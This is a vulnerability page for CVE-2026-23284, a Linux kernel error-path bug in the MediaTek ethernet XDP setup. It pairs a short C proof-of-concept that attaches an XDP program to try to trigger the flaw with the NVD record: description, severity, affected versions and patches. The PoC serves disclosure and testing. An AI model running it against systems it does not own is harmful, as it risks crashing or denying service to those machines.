CVE-2026-23284

// PoC for CVE-2026-23284 // This PoC attempts to trigger the error path in mtk_xdp_setup // by attaching an XDP program to a vulnerable MTK interface. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> #include <linux/if_link.h> #include <net/if.h> int main(int argc, char **argv) { struct bpf_object *obj; struct bpf_program *prog; int prog_fd = -1, ifindex; const char *ifname = "eth0"; // Replace with actual MTK interface struct bpf_xdp_set_link_opts xdp_opts = {}; int err; if (argc > 1) { ifname = argv[1]; } // 1. Load a minimal eBPF program (bytecode file required) obj = bpf_object__open_file("xdp_pass.o", NULL); if (libbpf_get_error(obj)) { fprintf(stderr, "ERROR: opening BPF object\n"); return 1; } if (bpf_object__load(obj)) { fprintf(stderr, "ERROR: loading BPF object\n"); return 1; } prog = bpf_object__find_program_by_name(obj, "xdp_pass"); if (!prog) { fprintf(stderr, "ERROR: finding program\n"); return 1; } prog_fd = bpf_program__fd(prog); // 2. Get interface index ifindex = if_nametoindex(ifname); if (!ifindex) { perror("if_nametoindex"); return 1; } printf("Attempting to attach XDP program to %s (index: %d)\n", ifname, ifindex); // 3. Attach XDP program to trigger mtk_xdp_setup // If mtk_open fails internally (e.g. resource constraint), // the vulnerability is triggered. err = bpf_set_link_xdp_fd_opts(ifindex, prog_fd, XDP_FLAGS_UPDATE_IF_NOEXIST, &xdp_opts, sizeof(xdp_opts)); if (err < 0) { fprintf(stderr, "Error attaching XDP program (expected if vulnerable or no perms): %d\n", err); } else { printf("XDP program attached successfully.\n"); sleep(1); // Keep it attached briefly bpf_set_link_xdp_fd(ifindex, -1, XDP_FLAGS_UPDATE_IF_NOEXIST); // Detach } return 0; }

{"cve": {"id": "CVE-2026-23284", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:23.080", "lastModified": "2026-05-22T00:16:06.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ethernet: mtk_eth_soc: Reset prog ptr to old_prog in case of error in mtk_xdp_setup()\n\nReset eBPF program pointer to old_prog and do not decrease its ref-count\nif mtk_open routine in mtk_xdp_setup() fails."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet: ethernet: mtk_eth_soc: Restablecer puntero de programa a old_prog en caso de error en mtk_xdp_setup()\n\nRestablecer puntero de programa eBPF a old_prog y no disminuir su contador de referencias si la rutina mtk_open en mtk_xdp_setup() falla."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.1.167", "matchCriteriaId": "E1965CA7-37DE-412B-919C-4794C1259363"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0abc73c8a40fd64ac1739c90bb4f42c418d27a5e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/29629dd7d37349e9fb605375a75de44ac8926ea9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6f95b59520278a72df9905db791b7ea31375fbc1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8c2d76a9658a4dbfcf02f2693a97e2d5ff42197a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b73dfe1ea7be7a072482434643b517d7726f4c8d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ff14cd44c85c20ad69479db73698185de291550c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}